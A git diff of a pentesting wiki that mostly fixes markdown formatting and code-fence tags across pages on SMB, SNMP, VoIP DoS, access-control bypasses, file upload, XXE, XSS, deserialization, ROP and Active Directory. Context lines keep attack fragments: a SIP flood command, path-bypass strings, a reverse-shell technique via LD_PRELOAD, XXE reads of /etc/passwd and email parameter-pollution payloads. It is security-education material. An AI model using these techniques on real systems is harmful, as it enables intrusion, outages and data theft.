\_**auxiliary/scanner/smb/smb_version** +- Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` - Or this script: ```bash @@ -275,7 +275,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -342,7 +342,7 @@ Commands: ### Domain Shared Folders Search -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index ce88852bc..4a9497368 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -82,7 +82,7 @@ The are **2 types of community strings**: - **`private`** **Read/Write** in general Note that **the writability of an OID depends on the community string used**, so **even** if you find that "**public**" is being used, you could be able to **write some values.** Also, there **may** exist objects which are **always "Read Only".**\ -If you try to **write** an object a **`noSuchName` or `readOnly` error** is received\*\*.\*\* +If you try to **write** an object a **`noSuchName` or `readOnly` error** is received**.** In versions 1 and 2/2c if you to use a **bad** community string the server wont **respond**. So, if it responds, a **valid community strings was used**. diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 41f26519b..c0d48cd04 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -671,9 +671,9 @@ Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando There are several ways to try to achieve DoS in VoIP servers. -- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target. +- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time. +- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP. diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 78dbbb1e0..f5fa26d96 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -44,7 +44,7 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, If _/path_ is blocked: -- Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode) +- Try using `/%2e/path` (if the access is blocked by a proxy, this could bypass the protection). Try also `/%252e**/path` (double URL encode) - Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check - **Other path bypasses**: - site.com/secret –> HTTP 403 Forbidden diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 3d124aba5..3228f5d2a 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -79,7 +79,7 @@ module.exports.getGPUDriverVersions = async () => { } ``` -Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the \_execa**\_**'s internal processing**. +Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the _execa**_**'s internal processing**. Specifically, the argument is replaced by changing the following two parts. diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 64de1705d..796e41b60 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -45,7 +45,7 @@ The effectiveness of a security policy can be confirmed using the `identify -lis ## References -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index def823c7d..ac6bf5f4f 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -72,7 +72,7 @@ I found that the automatic tools are pretty **useless finding vulnerabilities af ## **RCE** -You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab\*\*:\*\* +You need to have **manager** role and you **can install plugins** inside the **"Site administration"** tab**:** ![](<../../images/image (630).png>) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index c69b426f0..220672ab5 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -175,7 +175,7 @@ Check: ## More tricks -- **register_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables\*\* that are used within the code. +- **register_globals**: In **PHP < 4.1.1.1** or if misconfigured, **register_globals** may be active (or their behavior is being mimicked). This implies that in global variables like $\_GET if they have a value e.g. $\_GET\["param"]="1234", you can access it via **$param. Therefore, by sending HTTP parameters you can overwrite variables** that are used within the code. - The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\ This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). - When you have the **usernames** of the users of the machine. Check the address: **/\~\** to see if the php directories are activated. diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index c00864e9c..88a918d33 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -552,7 +552,7 @@ uid_t getuid(void){ #### Bypass using Chankro In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it (access it via web).\ -**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the\*\*`LD_PRELOAD` trick + PHP `mail()`\*\* function to execute the reverse shell. +**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell. Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\ In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** (that's the file you need to upload to the victims server): diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 6286ca130..201c9b1fe 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -58,7 +58,7 @@ Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ## Post credentials If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ Inside it you could find something like: diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 33a8907e7..9e48851eb 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -76,7 +76,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b ## Conditionals -- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header\*\*`Last-Modified`\*\* contains a different time. +- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time. - Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response. - The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**. diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 29be830b3..19e0ca3ba 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,7 +6,7 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Exploiting Spring Boot Actuators diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 95d39cedd..673b09ae6 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -32,7 +32,7 @@ Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls `this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**. -If you want to check that just setting the _**MethodName**_\*\* it will be executed\*\*, you can run this code: +If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code: ```java using System.Windows.Data; @@ -61,7 +61,7 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0. Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\ -This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_\*\* inside an \*\*_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. +This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. You can check this wrapper with the following code: diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index 01d1be7c6..c43771933 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -82,7 +82,7 @@ So, to **avoid DoS** lets suppose that an **attacker will be using only 100 conn Then, to generate **10000 files** an attacker would need: **`10000/66.67 = 150s`** (to generate **100000 files** the time would be **25min**). -Then, the attacker could use those **100 connections** to perform a **search brute-force**. \*\*\*\* Supposing a speed of 300 req/s the time needed to exploit this is the following: +Then, the attacker could use those **100 connections** to perform a **search brute-force**. Supposing a speed of 300 req/s the time needed to exploit this is the following: - 56800235584 / 10000 / 300 / 3600 \~= **5.25 hours** (50% chance in 2.63h) - (with 100000 files) 56800235584 / 100000 / 300 / 3600 \~= **0.525 hours** (50% chance in 0.263h) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 1bb3d175d..0b63f0a41 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -43,7 +43,7 @@ Other useful extensions: 5. Add **another layer of extensions** to the previous check: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code): +6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code): - _ex: file.php.png_ 7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”) 8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php @@ -176,7 +176,7 @@ Note that **another option** you may be thinking of to bypass this check is to m - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* +- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 1c21829db..2d6efe7d8 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -89,7 +89,7 @@ Usually the servers that will find on the internet that **convert LaTeX code to This program uses 3 main attributes to (dis)allow command execution: - **`--no-shell-escape`**: **Disable** the `\write18{command}` construct, even if it is enabled in the texmf.cnf file. -- **`--shell-restricted`**: Same as `--shell-escape`, but **limited** to a 'safe' set of **predefined** \*\*commands (\*\*On Ubuntu 16.04 the list is in `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: Same as `--shell-escape`, but **limited** to a 'safe' set of **predefined** **commands (**On Ubuntu 16.04 the list is in `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Enable** the `\write18{command}` construct. The command can be any shell command. This construct is normally disallowed for security reasons. However, there are other ways to execute commands, so to avoid RCE it's very important to use `--shell-restricted`. diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 0d808f5eb..615692401 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -54,6 +54,10 @@ If the target system applies rate limits on a per-account or per-session basis, Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received. +### Tools + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz is a fuzzing tool designed to test and bypass WAFs and CDNs. By leveraging advanced features such as random User-Agent and header value, random delays, handle multi-threading, selective chunking of wordlists and Round Robin proxy rotation for each chunked, it offers a robust solution for security professionals aiming to identify vulnerabilities in web applications. + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 688d773ef..738d4bf24 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -73,7 +73,7 @@ When registered try to change the email and check if this change is correctly va ### Password Reset Via Email Parameter -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 25acf6b25..4db9a50d9 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -50,7 +50,7 @@ SELECT * FROM dblink('host=127.0.0.1 ### Port Scanning -Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_. +Abusing `dblink_connect` you could also **search open ports**. If that **function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 32a765eb7..98c464074 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -494,7 +494,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 5302f6580..4998d5941 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -97,7 +97,7 @@ Notice that for example the first Unicode character purposed can be sent as: `%e When the backend is **checking user input with a regex**, it might be possible that the **input** is being **normalized** for the **regex** but **not** for where it's being **used**. For example, in an Open Redirect or SSRF the regex might be **normalizing the sent UR**L but then **accessing it as is**. -The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/). +The tool [**recollapse**](https://github.com/0xacb/recollapse) allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/). ## Unicode Overflow diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 4a7babf47..bb178f0a7 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -613,7 +613,7 @@ According to [Chromium documentation](https://chromium.googlesource.com/chromium Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page. -The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.** +The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.** All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**. diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md index e40331200..f99190188 100644 --- a/src/pentesting-web/xs-search/README.md +++ b/src/pentesting-web/xs-search/README.md @@ -614,7 +614,7 @@ According to [Chromium documentation](https://chromium.googlesource.com/chromium Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page. -The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was \*\*\*\* hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.** +The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.** All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**. diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 4f204dd48..4cdf8f692 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -157,7 +157,7 @@ server-side-xss-dynamic-pdf.md When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Note: A HTML comment can be closed using\*\*\*\*\*\***\***\*`-->`\*\***\***\*or \*\*\*\*\*\***`--!>`\*\*_ +_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ In this case and if no black/whitelisting is used, you could use payloads like: diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 415facac7..8b39a5e24 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -37,7 +37,7 @@ In this attack I'm going to test if a simple new ENTITY declaration is working Lets try to read `/etc/passwd` in different ways. For Windows you could try to read: `C:\windows\system32\drivers\etc\hosts` -In this first case notice that SYSTEM "_\*\*file:///\*\*etc/passwd_" will also work. +In this first case notice that SYSTEM "_**file:///**etc/passwd_" will also work. ```xml @@ -164,7 +164,7 @@ Upon execution, the web server's response should include an error message displa ![](<../images/image (809).png>) -_**Please notice that external DTD allows us to include one entity inside the second (\*\***`eval`\***\*), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_ +_**Please notice that external DTD allows us to include one entity inside the second `eval`), but it is prohibited in the internal DTD. Therefore, you can't force an error without using an external DTD (usually).**_ ### **Error Based (system DTD)** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index 31bdd49c6..3eff97328 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -246,7 +246,7 @@ Let's explain this final ROP.\ The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**This way the exploit will execute a _/bin/sh**_ shell.** ![](<../../../../../images/image (143).png>) diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index e04daef84..98da2412f 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -298,7 +298,7 @@ If you get the **binary** of a GBA game you can use different tools to **emulate - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra plugin - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra plugin -In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_\*\* \*\* you can see how to press the Game Boy Advance **buttons** +In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_** ** you can see how to press the Game Boy Advance **buttons** ![](<../../images/image (581).png>) @@ -396,7 +396,7 @@ In the previous code you can see that we are comparing **uVar1** (the place wher - Then, it's comparing it with the **value 8** (**START** button): In the challenge this checks is the code is valid to get the flag. - In this case the var **`DAT_030000d8`** is compared with 0xf3 and if the value is the same some code is executed. - In any other cases, some cont (`DAT_030000d4`) is checked. It's a cont because it's adding 1 right after entering in the code.\ - **I**f less than 8 something that involves **adding** values to \*\*`DAT_030000d8` \*\* is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8). + **I**f less than 8 something that involves **adding** values to **`DAT_030000d8`** is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8). So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.** diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 46d1c6bc6..d4a2934c1 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -150,7 +150,7 @@ A template will be generated: ![](<../../images/image (944).png>) -So, insert your new assembly code in the "**newmem**" section and remove the original code from the "**originalcode**" if you don't want it to be executed\*\*.\*\* In this example the injected code will add 2 points instead of substracting 1: +So, insert your new assembly code in the "**newmem**" section and remove the original code from the "**originalcode**" if you don't want it to be executed**.** In this example the injected code will add 2 points instead of substracting 1: ![](<../../images/image (521).png>) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index cf119ed54..ff3ce2414 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -36,6 +36,9 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD. +> [!WARNING] +> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**. + ## Recon Active Directory (No creds/sessions) If you just have access to an AD environment but you don't have any credentials/sessions you could: @@ -109,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password ``` > [!WARNING] -> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). +> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > > However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames. @@ -135,7 +138,7 @@ You might be able to **obtain** some challenge **hashes** to crack **poisoning** ### NTLM 